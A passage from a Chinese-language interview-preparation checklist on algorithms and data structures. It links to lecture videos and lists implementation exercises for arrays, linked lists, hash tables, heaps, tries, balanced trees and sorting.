- [ ] 简单的 8-bit：[浮点数的表达形式　—— 1（视频 —— 在计算上有一个错误 —— 详情请查看视频的介绍）](https://www.youtube.com/watch?v=ji3SfClm8TU)\n    - [ ] 32 bit：[IEEE754 32-bit 浮点二进制（视频）](https://www.youtube.com/watch?v=50ZYcZebIec)\n\n## 算法复杂度 / Big-O / 渐进分析法\n- 并不需要实现\n- [ ] [Harvard CS50 —— 渐进表示（视频）](https://www.youtube.com/watch?v=iOq5kSKqeR4)\n- [ ] [Big O 记号（通用快速教程）（视频）](https://www.youtube.com/watch?v=V6mKVRU1evU)\n- [ ] [Big O 记号（以及 Omega 和 Theta）——  最佳数学解释（视频）](https://www.youtube.com/watch?v=ei-A_wy5Yxw&index=2&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN)\n- [ ] Skiena 算法：\n    - [视频](https://www.youtube.com/watch?v=gSyDMtdPNpU&index=2&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b)\n    - [幻灯片](http://www3.cs.stonybrook.edu/~algorith/video-lectures/2007/lecture2.pdf)\n- [ ] [对于算法复杂度分析的一次详细介绍](http://discrete.gr/complexity/)\n- [ ] [增长阶数（Orders of Growth）（视频）](https://class.coursera.org/algorithmicthink1-004/lecture/59)\n- [ ] [渐进性（Asymptotics）（视频）](https://class.coursera.org/algorithmicthink1-004/lecture/61)\n- [ ] [UC Berkeley Big O（视频）](https://youtu.be/VIS4YDpuP98)\n- [ ] [UC Berkeley Big Omega（视频）](https://youtu.be/ca3e7UVmeUc)\n- [ ] [平摊分析法（Amortized Analysis）（视频）](https://www.youtube.com/watch?v=B3SpQZaAZP4&index=10&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN)\n- [ ] [举证“Big O”（视频）](https://class.coursera.org/algorithmicthink1-004/lecture/63)\n- [ ] 高级编程（包括递归关系和主定理）：\n    - [计算性复杂度：第一部](https://www.topcoder.com/community/data-science/data-science-tutorials/computational-complexity-section-1/)\n    - [计算性复杂度：第二部](https://www.topcoder.com/community/data-science/data-science-tutorials/computational-complexity-section-2/)\n- [ ] [速查表（Cheat sheet）](http://bigocheatsheet.com/)\n\n    如果部分课程过于学术性，你可直接跳到文章底部，去查看离散数学的视频以获取相关背景知识。\n\n## 数据结构\n\n- ### 数组（Arrays）\n    - 实现一个可自动调整大小的动态数组。\n    - [ ] 介绍：\n        - [数组（视频）](https://www.coursera.org/learn/data-structures/lecture/OsBSF/arrays)\n        - [数组的基础知识（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Basic-arrays/149042/177104-4.html)\n        - [多维数组（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Multidimensional-arrays/149042/177105-4.html)\n        - [动态数组（视频）](https://www.coursera.org/learn/data-structures/lecture/EwbnV/dynamic-arrays)\n        - [不规则数组（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Jagged-arrays/149042/177106-4.html)\n        - [调整数组的大小（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Resizable-arrays/149042/177108-4.html)\n    - [ ] 实现一个动态数组（可自动调整大小的可变数组）：\n        - [ ] 练习使用数组和指针去编码，并且指针是通过计算去跳转而不是使用索引\n        - [ ] 通过分配内存来新建一个原生数据型数组\n            - 可以使用 int 类型的数组，但不能使用其语法特性\n            - 从大小为16或更大的数（使用2的倍数 —— 16、32、64、128）开始编写\n        - [ ] size() —— 数组元素的个数\n        - [ ] capacity() —— 可容纳元素的个数\n        - [ ] is_empty()\n        - [ ] at(index) —— 返回对应索引的元素，且若索引越界则愤然报错\n        - [ ] push(item)\n        - [ ] insert(index, item) —— 在指定索引中插入元素，并把后面的元素依次后移\n        - [ ] prepend(item) —— 可以使用上面的 insert 函数，传参 index 为 0\n        - [ ] pop() —— 删除在数组末端的元素，并返回其值\n        - [ ] delete(index) —— 删除指定索引的元素，并把后面的元素依次前移\n        - [ ] remove(item) —— 删除指定值的元素，并返回其索引（即使有多个元素）\n        - [ ] find(item) —— 寻找指定值的元素并返回其中第一个出现的元素其索引，若未找到则返回 -1\n        - [ ] resize(new_capacity) // 私有函数\n            - 若数组的大小到达其容积，则变大一倍\n            - 获取元素后，若数组大小为其容积的1/4，则缩小一半\n    - [ ] 时间复杂度\n        - 在数组末端增加/删除、定位、更新元素，只允许占 O(1) 的时间复杂度（平摊（amortized）去分配内存以获取更多空间）\n        - 在数组任何地方插入/移除元素，只允许 O(n) 的时间复杂度\n    - [ ] 空间复杂度\n        - 因为在内存中分配的空间邻近，所以有助于提高性能\n        - 空间需求 = （大于或等于 n 的数组容积）* 元素的大小。即便空间需求为 2n，其空间复杂度仍然是 O(n)\n\n- ### 链表（Linked Lists）\n    - [ ] 介绍：\n        - [ ] [单向链表（视频）](https://www.coursera.org/learn/data-structures/lecture/kHhgK/singly-linked-lists)\n        - [ ] [CS 61B —— 链表（视频）](https://www.youtube.com/watch?v=sJtJOtXCW_M&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=5)\n    - [ ] [C 代码（视频）](https://www.youtube.com/watch?v=QN6FPiD0Gzo)\n        - 并非看完整个视频，只需要看关于节点结果和内存分配那一部分即可\n    - [ ] 链表 vs 数组：\n        - [基本链表 Vs 数组（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/rjBs9/core-linked-lists-vs-arrays)\n        - [在现实中，链表 Vs 数组（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/QUaUd/in-the-real-world-lists-vs-arrays)\n    - [ ] [为什么你需要避免使用链表（视频）](https://www.youtube.com/watch?v=YQs6IC-vgmo)\n    - [ ] 的确：你需要关于“指向指针的指针”的相关知识：（因为当你传递一个指针到一个函数时，该函数可能会改变指针所指向的地址）该页只是为了让你了解“指向指针的指针”这一概念。但我并不推荐这种链式遍历的风格。因为，这种风格的代码，其可读性和可维护性太低。\n        - [指向指针的指针](https://www.eskimo.com/~scs/cclass/int/sx8.html)\n    - [ ] 实现（我实现了使用尾指针以及没有使用尾指针这两种情况）：\n        - [ ] size() —— 返回链表中数据元素的个数\n        - [ ] empty() —— 若链表为空则返回一个布尔值 true\n        - [ ] value_at(index) —— 返回第 n 个元素的值（从0开始计算）\n        - [ ] push_front(value) —— 添加元素到链表的首部\n        - [ ] pop_front() —— 删除首部元素并返回其值\n        - [ ] push_back(value) —— 添加元素到链表的尾部\n        - [ ] pop_back() —— 删除尾部元素并返回其值\n        - [ ] front() —— 返回首部元素的值\n        - [ ] back() —— 返回尾部元素的值\n        - [ ] insert(index, value) —— 插入值到指定的索引，并把当前索引的元素指向到新的元素\n        - [ ] erase(index) —— 删除指定索引的节点\n        - [ ] value_n_from_end(n) —— 返回倒数第 n 个节点的值\n        - [ ] reverse() —— 逆序链表\n        - [ ] remove_value(value) —— 删除链表中指定值的第一个元素\n    - [ ] 双向链表\n        - [介绍（视频）](https://www.coursera.org/learn/data-structures/lecture/jpGKD/doubly-linked-lists)\n        - 并不需要实现\n\n- ### 堆栈（Stack）\n    - [ ] [堆栈（视频）](https://www.coursera.org/learn/data-structures/lecture/UdKzQ/stacks)\n    - [ ] [使用堆栈 —— 后进先出（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-stacks-last-first-out/149042/177120-4.html)\n    - [ ] 可以不实现，因为使用数组来实现并不重要\n\n- ### 队列（Queue）\n    - [ ] [使用队列 —— 先进先出（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-queues-first-first-out/149042/177122-4.html)\n    - [ ] [队列（视频）](https://www.coursera.org/learn/data-structures/lecture/EShpq/queue)\n    - [ ] [原型队列/先进先出（FIFO）](https://en.wikipedia.org/wiki/Circular_buffer)\n    - [ ] [优先级队列（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Priority-queues-deques/149042/177123-4.html)\n    - [ ] 使用含有尾部指针的链表来实现:\n        - enqueue(value) —— 在尾部添加值\n        - dequeue() —— 删除最早添加的元素并返回其值（首部元素）\n        - empty()\n    - [ ] 使用固定大小的数组实现：\n        - enqueue(value) —— 在可容的情况下添加元素到尾部\n        - dequeue() —— 删除最早添加的元素并返回其值\n        - empty()\n        - full()\n    - [ ] 花销：\n        - 在糟糕的实现情况下，使用链表所实现的队列，其入列和出列的时间复杂度将会是 O(n)。因为，你需要找到下一个元素，以致循环整个队列\n        - enqueue：O(1)（平摊（amortized）、链表和数组 [探测（probing）]）\n        - dequeue：O(1)（链表和数组）\n        - empty：O(1)（链表和数组）\n\n- ### 哈希表（Hash table）\n    - [ ] 视频：\n        - [ ] [链式哈希表（视频）](https://www.youtube.com/watch?v=0M_kIqhwbFo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=8)\n        - [ ] [Table Doubling 和 Karp-Rabin（视频）](https://www.youtube.com/watch?v=BRO7mVIFt08&index=9&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n        - [ ] [Open Addressing 和密码型哈希（Cryptographic Hashing）（视频）](https://www.youtube.com/watch?v=rvdJDijO2Ro&index=10&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n        - [ ] [PyCon 2010：The Mighty Dictionary（视频）](https://www.youtube.com/watch?v=C4Kc8xzcA68)\n        - [ ] [（进阶）随机取样（Randomization）：全域哈希（Universal Hashing）& 完美哈希（Perfect Hashing）（视频）](https://www.youtube.com/watch?v=z0lJ2k0sl1g&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=11)\n        - [ ] [（进阶）完美哈希（Perfect hashing）（视频）](https://www.youtube.com/watch?v=N0COwN14gt0&list=PL2B4EEwhKD-NbwZ4ezj7gyc_3yNrojKM9&index=4)\n\n    - [ ] 在线课程：\n        - [ ] [哈希函数的掌握（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Understanding-hash-functions/149042/177126-4.html)\n        - [ ] [使用哈希表（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-hash-tables/149042/177127-4.html)\n        - [ ] [哈希表的支持（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Supporting-hashing/149042/177128-4.html)\n        - [ ] [哈希表的语言支持（视频）](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Language-support-hash-tables/149042/177129-4.html)\n        - [ ] [基本哈希表（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/m7UuP/core-hash-tables)\n        - [ ] [数据结构（视频）](https://www.coursera.org/learn/data-structures/home/week/3)\n        - [ ] [电话薄问题（Phone Book Problem）（视频）](https://www.coursera.org/learn/data-structures/lecture/NYZZP/phone-book-problem)\n        - [ ] 分布式哈希表：\n            - [Dropbox 中的瞬时上传及存储优化（视频）](https://www.coursera.org/learn/data-structures/lecture/DvaIb/instant-uploads-and-storage-optimization-in-dropbox)\n            - [分布式哈希表（视频）](https://www.coursera.org/learn/data-structures/lecture/tvH8H/distributed-hash-tables)\n\n    - [ ] 使用线性探测的数组去实现\n        - hash(k, m) —— m 是哈希表的大小\n        - add(key, value) —— 如果 key 已存在则更新值\n        - exists(key)\n        - get(key)\n        - remove(key)\n\n## 更多的知识\n\n- ### 二分查找（Binary search）\n    - [ ] [二分查找（视频）](https://www.youtube.com/watch?v=D5SrAga1pno)\n    - [ ] [二分查找（视频）](https://www.khanacademy.org/computing/computer-science/algorithms/binary-search/a/binary-search)\n    - [ ] [详情](https://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/)\n    - [ ] 实现：\n        - 二分查找（在一个已排序好的整型数组中查找）\n        - 迭代式二分查找\n\n- ### 按位运算（Bitwise operations）\n    - [ ] [Bits 速查表](https://github.com/jwasham/google-interview-university/blob/master/extras/cheat%20sheets/bits-cheat-cheet.pdf)\n        - 你需要知道大量2的幂数值（从2^1 到 2^16 及 2^32）\n    - [ ] 好好理解位操作符的含义：&、|、^、~、>>、<<\n        - [ ] [字码（words）](https://en.wikipedia.org/wiki/Word_(computer_architecture))\n        - [ ] 好的介绍：\n            [位操作（视频）](https://www.youtube.com/watch?v=7jkIUgLC29I)\n        - [ ] [C 语言编程教程 2-10：按位运算（视频）](https://www.youtube.com/watch?v=d0AwjSpNXR0)\n        - [ ] [位操作](https://en.wikipedia.org/wiki/Bit_manipulation)\n        - [ ] [按位运算](https://en.wikipedia.org/wiki/Bitwise_operation)\n        - [ ] [Bithacks](https://graphics.stanford.edu/~seander/bithacks.html)\n        - [ ] [位元抚弄者（The Bit Twiddler）](http://bits.stephan-brumme.com/)\n        - [ ] [交互式位元抚弄者（The Bit Twiddler Interactive）](http://bits.stephan-brumme.com/interactive.html)\n    - [ ] 一补数和补码\n        - [二进制：利 & 弊（为什么我们要使用补码）（视频）](https://www.youtube.com/watch?v=lKTsv6iVxV4)\n        - [一补数（1s Complement）](https://en.wikipedia.org/wiki/Ones%27_complement)\n        - [补码（2s Complement）](https://en.wikipedia.org/wiki/Two%27s_complement)\n    - [ ] 计算置位（Set Bits）\n        - [计算一个字节中置位（Set Bits）的四种方式（视频）](https://youtu.be/Hzuzo9NJrlc)\n        - [计算比特位](https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetKernighan)\n        - [如何在一个 32 位的整型中计算置位（Set Bits）的数量](http://stackoverflow.com/questions/109023/how-to-count-the-number-of-set-bits-in-a-32-bit-integer)\n    - [ ] 四舍五入2的幂数：\n        - [四舍五入到2的下一幂数](http://bits.stephan-brumme.com/roundUpToNextPowerOfTwo.html)\n    - [ ] 交换值：\n        - [交换（Swap）](http://bits.stephan-brumme.com/swap.html)\n    - [ ] 绝对值：\n        - [绝对整型（Absolute Integer）](http://bits.stephan-brumme.com/absInteger.html)\n\n## 树（Trees）\n\n- ### 树 —— 笔记 & 背景\n    - [ ] [系列：基本树（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/ovovP/core-trees)\n    - [ ] [系列：树（视频）](https://www.coursera.org/learn/data-structures/lecture/95qda/trees)\n    - 基本的树形结构\n    - 遍历\n    - 操作算法\n    - BFS（广度优先检索，breadth-first search）\n        - [MIT（视频）](https://www.youtube.com/watch?v=s-CYnVz-uh4&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=13)\n        - 层序遍历（使用队列的 BFS 算法）\n            - 时间复杂度： O(n)\n            - 空间复杂度：\n                - 最好情况： O(1)\n                - 最坏情况：O(n/2)=O(n)\n    - DFS（深度优先检索，depth-first search）\n        - [MIT（视频）](https://www.youtube.com/watch?v=AfSk24UTFS8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=14)\n        - 笔记：\n            - 时间复杂度：O(n)\n            - 空间复杂度：\n                - 最好情况：O(log n) - 树的平均高度\n                - 最坏情况：O(n)\n        - 中序遍历（DFS：左、节点本身、右）\n        - 后序遍历（DFS：左、右、节点本身）\n        - 先序遍历（DFS：节点本身、左、右）\n\n- ### 二叉查找树（Binary search trees）：BSTs\n    - [ ] [二叉查找树概览（视频）](https://www.youtube.com/watch?v=x6At0nzX92o&index=1&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n    - [ ] [系列（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/p82sw/core-introduction-to-binary-search-trees)\n        - 从符号表开始到 BST 程序\n    - [ ] [介绍（视频）](https://www.coursera.org/learn/data-structures/lecture/E7cXP/introduction)\n    - [ ] [MIT（视频）](https://www.youtube.com/watch?v=9Jry5-82I68)\n    - C/C++:\n        - [ ] [二叉查找树 —— 在 C/C++ 中实现（视频）](https://www.youtube.com/watch?v=COZK7NATh4k&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=28)\n        - [ ] [BST 的实现 —— 在堆栈和堆中的内存分配（视频）](https://www.youtube.com/watch?v=hWokyBoo0aI&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=29)\n        - [ ] [在二叉查找树中找到最小和最大的元素（视频）](https://www.youtube.com/watch?v=Ut90klNN264&index=30&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P)\n        - [ ] [寻找二叉树的高度（视频）](https://www.youtube.com/watch?v=_pnqMz5nrRs&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=31)\n        - [ ] [二叉树的遍历 —— 广度优先和深度优先策略（视频）](https://www.youtube.com/watch?v=9RHO6jU--GU&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=32)\n        - [ ] [二叉树：层序遍历（视频）](https://www.youtube.com/watch?v=86g8jAQug04&index=33&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P)\n        - [ ] [二叉树的遍历：先序、中序、后序（视频）](https://www.youtube.com/watch?v=gm8DUJJhmY4&index=34&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P)\n        - [ ] [判断一棵二叉树是否为二叉查找树（视频）](https://www.youtube.com/watch?v=yEwSGhSsT0U&index=35&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P)\n        - [ ] [从二叉查找树中删除一个节点（视频）](https://www.youtube.com/watch?v=gcULXE7ViZw&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=36)\n        - [ ] [二叉查找树中序遍历的后继者（视频）](https://www.youtube.com/watch?v=5cPbNCrdotA&index=37&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P)\n    - [ ] 实现：\n        - [ ] insert    // 往树上插值\n        - [ ] get_node_count // 查找树上的节点数\n        - [ ] print_values // 从小到大打印树中节点的值\n        - [ ] delete_tree\n        - [ ] is_in_tree // 如果值存在于树中则返回 true\n        - [ ] get_height // 返回节点所在的高度（如果只有一个节点，那么高度则为1）\n        - [ ] get_min   // 返回树上的最小值\n        - [ ] get_max   // 返回树上的最大值\n        - [ ] is_binary_search_tree\n        - [ ] delete_value\n        - [ ] get_successor // 返回给定值的后继者，若没有则返回-1\n\n- ### 堆（Heap） / 优先级队列（Priority Queue） / 二叉堆（Binary Heap）\n    - 可视化是一棵树，但通常是以线性的形式存储（数组、链表）\n    - [ ] [堆](https://en.wikipedia.org/wiki/Heap_(data_structure))\n    - [ ] [介绍（视频）](https://www.coursera.org/learn/data-structures/lecture/2OpTs/introduction)\n    - [ ] [无知的实现（视频）](https://www.coursera.org/learn/data-structures/lecture/z3l9N/naive-implementations)\n    - [ ] [二叉树（视频）](https://www.coursera.org/learn/data-structures/lecture/GRV2q/binary-trees)\n    - [ ] [关于树高的讨论（视频）](https://www.coursera.org/learn/data-structures/supplement/S5xxz/tree-height-remark)\n    - [ ] [基本操作（视频）](https://www.coursera.org/learn/data-structures/lecture/0g1dl/basic-operations)\n    - [ ] [完全二叉树（视频）](https://www.coursera.org/learn/data-structures/lecture/gl5Ni/complete-binary-trees)\n    - [ ] [伪代码（视频）](https://www.coursera.org/learn/data-structures/lecture/HxQo9/pseudocode)\n    - [ ] [堆排序 —— 跳到起点（视频）](https://youtu.be/odNJmw5TOEE?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3291)\n    - [ ] [堆排序（视频）](https://www.coursera.org/learn/data-structures/lecture/hSzMO/heap-sort)\n    - [ ] [构建一个堆（视频）](https://www.coursera.org/learn/data-structures/lecture/dwrOS/building-a-heap)\n    - [ ] [MIT：堆与堆排序（视频）](https://www.youtube.com/watch?v=B7hVxCmfPtM&index=4&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n    - [ ] [CS 61B Lecture 24：优先级队列（视频）](https://www.youtube.com/watch?v=yIUFT6AKBGE&index=24&list=PL4BBB74C7D2A1049C)\n    - [ ] [构建线性时间复杂度的堆（大顶堆）](https://www.youtube.com/watch?v=MiyLo8adrWw)\n    - [ ] 实现一个大顶堆：\n        - [ ] insert\n        - [ ] sift_up —— 用于插入元素\n        - [ ] get_max —— 返回最大值但不移除元素\n        - [ ] get_size() —— 返回存储的元素数量\n        - [ ] is_empty() —— 若堆为空则返回 true\n        - [ ] extract_max —— 返回最大值并移除\n        - [ ] sift_down —— 用于获取最大值元素\n        - [ ] remove(i) —— 删除指定索引的元素\n        - [ ] heapify —— 构建堆，用于堆排序\n        - [ ] heap_sort() —— 拿到一个未排序的数组，然后使用大顶堆进行就地排序\n            - 注意：若用小顶堆可节省操作，但导致空间复杂度加倍。（无法做到就地）\n\n- ### 字典树（Tries）\n    - 需要注意的是，字典树各式各样。有些有前缀，而有些则没有。有些使用字符串而不使用比特位来追踪路径。\n    - 阅读代码，但不实现。\n    - [ ] [数据结构笔记及编程技术](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Tries)\n    - [ ] 短课程视频：\n        - [ ] [对字典树的介绍（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/08Xyf/core-introduction-to-tries)\n        - [ ] [字典树的性能（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/PvlZW/core-performance-of-tries)\n        - [ ] [实现一棵字典树（视频）](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/DFvd3/core-implementing-a-trie)\n    - [ ] [字典树：一个被忽略的数据结构](https://www.toptal.com/java/the-trie-a-neglected-data-structure)\n    - [ ] [高级编程 —— 使用字典树](https://www.topcoder.com/community/data-science/data-science-tutorials/using-tries/)\n    - [ ] [标准教程（现实中的用例）（视频）](https://www.youtube.com/watch?v=TJ8SkcUSdbU)\n    - [ ] [MIT，高阶数据结构，使用字符串追踪路径（可事半功倍）](https://www.youtube.com/watch?v=NinWEPPrkDQ&index=16&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf)\n\n- ### 平衡查找树（Balanced search trees）\n    - 掌握至少一种平衡查找树（并懂得如何实现）：\n    - “在各种平衡查找树当中，AVL 树和2-3树已经成为了过去，而红黑树（red-black trees）看似变得越来越受人青睐。这种令人特别感兴趣的数据结构，亦称伸展树（splay tree）。它可以自我管理，且会使用轮换来移除任何访问过根节点的 key。” —— Skiena\n    - 因此，在各种各样的平衡查找树当中，我选择了伸展树来实现。虽然，通过我的阅读，我发现在 Google 的面试中并不会被要求实现一棵平衡查找树。但是，为了胜人一筹，我们还是应该看看如何去实现。在阅读了大量关于红黑树的代码后，我才发现伸展树的实现确实会使得各方面更为高效。\n        - 伸展树：插入、查找、删除函数的实现，而如果你最终实现了红黑树，那么请尝试一下：\n        - 跳过删除函数，直接实现搜索和插入功能\n    - 我希望能阅读到更多关于 B 树的资料，因为它也被广泛地应用到大型的数据库当中。\n    - [ ] [自平衡二叉查找树](https://en.wikipedia.org/wiki/Self-balancing_binary_search_tree)\n\n    - [ ] **AVL 树**\n        - 实际中：我能告诉你的是，该种树并无太多的用途，但我能看到有用的地方在哪里：AVL 树是另一种平衡查找树结构。其可支持时间复杂度为 O(log n) 的查询、插入及删除。它比红黑树严格意义上更为平衡，从而导致插入和删除更慢，但遍历却更快。正因如此，才彰显其结构的魅力。只需要构建一次，就可以在不重新构造的情况下读取，适合于实现诸如语言字典（或程序字典，如一个汇编程序或解释程序的操作码）。\n        - [ ] [MIT AVL 树 / AVL 树的排序（视频）](https://www.youtube.com/watch?v=FNeL18KsWPc&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=6)\n        - [ ] [AVL 树（视频）](https://www.coursera.org/learn/data-structures/lecture/Qq5E0/avl-trees)\n        - [ ] [AVL 树的实现（视频）](https://www.coursera.org/learn/data-structures/lecture/PKEBC/avl-tree-implementation)\n        - [ ] [分离与合并](https://www.coursera.org/learn/data-structures/lecture/22BgE/split-and-merge)\n\n    - [ ] **伸展树**\n        - 实际中：伸展树一般用于缓存、内存分配者、路由器、垃圾回收者、数据压缩、ropes（字符串的一种替代品，用于存储长串的文本字符）、Windows NT（虚拟内存、网络及文件系统）等的实现。\n        - [ ] [CS 61B：伸展树（Splay trees）（视频）](https://www.youtube.com/watch?v=Najzh1rYQTo&index=23&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd)\n        - [ ] MIT 教程：伸展树（Splay trees）：\n            - 该教程会过于学术，但请观看到最后的10分钟以确保掌握。\n            - [视频](https://www.youtube.com/watch?v=QnPl_Y6EqMo)\n\n    - [ ] **2-3查找树**\n        - 实际中：2-3树的元素插入非常快速，但却有着查询慢的代价（因为相比较 AVL 树来说，其高度更高）。\n        - 你会很少用到2-3树。这是因为，其实现过程中涉及到不同类型的节点。因此，人们更多地会选择红黑树。\n        - [ ] [2-3树的直感与定义（视频）](https://www.youtube.com/watch?v=C3SsdUqasD4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=2)\n        - [ ] [2-3树的二元观点](https://www.youtube.com/watch?v=iYvBtGKsqSg&index=3&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n        - [ ] [2-3树（学生叙述）（视频）](https://www.youtube.com/watch?v=TOb1tuEZ2X4&index=5&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n\n    - [ ] **2-3-4树 (亦称2-4树)**\n        - 实际中：对于每一棵2-4树，都有着对应的红黑树来存储同样顺序的数据元素。在2-4树上进行插入及删除操作等同于在红黑树上进行颜色翻转及轮换。这使得2-4树成为一种用于掌握红黑树背后逻辑的重要工具。这就是为什么许多算法引导文章都会在介绍红黑树之前，先介绍2-4树，尽管**2-4树在实际中并不经常使用**。\n        - [ ] [CS 61B Lecture 26：平衡查找树（视频）](https://www.youtube.com/watch?v=zqrqYXkth6Q&index=26&list=PL4BBB74C7D2A1049C)\n        - [ ] [自底向上的2-4树（视频）](https://www.youtube.com/watch?v=DQdMYevEyE4&index=4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n        - [ ] [自顶向下的2-4树（视频）](https://www.youtube.com/watch?v=2679VQ26Fp4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=5)\n\n    - [ ] **B 树**\n        - 有趣的是：为啥叫 B 仍然是一个神秘。因为 B 可代表波音（Boeing）、平衡（Balanced）或 Bayer（联合创造者）\n        - 实际中：B 树会被广泛适用于数据库中，而现代大多数的文件系统都会使用到这种树（或变种)。除了运用在数据库中，B 树也会被用于文件系统以快速访问一个文件的任意块。但存在着一个基本的问题，那就是如何将文件块 i 转换成一个硬盘块（或一个柱面-磁头-扇区）上的地址。\n        - [ ] [B 树](https://en.wikipedia.org/wiki/B-tree)\n        - [ ] [B 树的介绍（视频）](https://www.youtube.com/watch?v=I22wEC1tTGo&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=6)\n        - [ ] [B 树的定义及其插入操作（视频）](https://www.youtube.com/watch?v=s3bCdZGrgpA&index=7&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n        - [ ] [B 树的删除操作（视频）](https://www.youtube.com/watch?v=svfnVhJOfMc&index=8&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6)\n        - [ ] [MIT 6.851 —— 内存层次模块（Memory Hierarchy Models）（视频）](https://www.youtube.com/watch?v=V3omVLzI0WE&index=7&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf)\n            - 覆盖有高速缓存参数无关型（cache-oblivious）B 树和非常有趣的数据结构\n            - 头37分钟讲述的很专业，或许可以跳过（B 指块的大小、即缓存行的大小）\n\n    - [ ] **红黑树**\n        - 实际中：红黑树提供了在最坏情况下插入操作、删除操作和查找操作的时间保证。这些时间值的保障不仅对时间敏感型应用有用，例如实时应用，还对在其他数据结构中块的构建非常有用，而这些数据结构都提供了最坏情况下的保障；例如，许多用于计算几何学的数据结构都可以基于红黑树，而目前 Linux 系统所采用的完全公平调度器（the Completely Fair Scheduler）也使用到了该种树。在 Java 8中，红黑树也被用于存储哈希列表集合中相同的数据，而不是使用链表及哈希码。\n        - [ ] [Aduni —— 算法 —— 课程4（该链接直接跳到开始部分）（视频）](https://youtu.be/1W3x0f_RmUo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3871)\n        - [ ] [Aduni —— 算法 —— 课程5（视频）](https://www.youtube.com/watch?v=hm2GHwyKF1o&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=5)\n        - [ ] [黑树（Black Tree）](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree)\n        - [ ] [二分查找及红黑树的介绍](https://www.topcoder.com/community/data-science/data-science-tutorials/an-introduction-to-binary-search-and-red-black-trees/)\n\n- ### N 叉树（K 叉树、M 叉树）\n    - 注意：N 或 K 指的是分支系数（即树的最大分支数）：\n        - 二叉树是一种分支系数为2的树\n        - 2-3树是一种分支系数为3的树\n    - [ ] [K 叉树](https://en.wikipedia.org/wiki/K-ary_tree)\n\n## 排序（Sorting）\n\n- [ ] 笔记:\n    - 实现各种排序 & 知道每种排序的最坏、最好和平均的复杂度分别是什么场景:\n        - 不要用冒泡排序 - 大多数情况下效率感人 - 时间复杂度 O(n^2), 除非 n <= 16\n    - [ ] 排序算法的稳定性 (\"快排是稳定的么?\")\n        - [排序算法的稳定性](https://en.wikipedia.org/wiki/Sorting_algorithm#Stability)\n        - [排序算法的稳定性](http://stackoverflow.com/questions/1517793/stability-in-sorting-algorithms)\n        - [排序算法的稳定性](http://stackoverflow.com/questions/1517793/stability-in-sorting-algorithms)\n        - [排序算法的稳定性](http://www.geeksforgeeks.org/stability-in-sorting-algorithms/)\n        - [排序算法 - 稳定性](http://homepages.math.uic.edu/~leon/cs-mcs401-s08/handouts/stability.pdf)\n    - [ ] 哪种排序算法可以用链表？哪种用数组？哪种两者都可？\n        - 并不推荐对一个链表排序，但归并排序是可行的.\n        - [链表的归并排序](http://www.geeksforgeeks.org/merge-sort-for-linked-list/)\n\n- 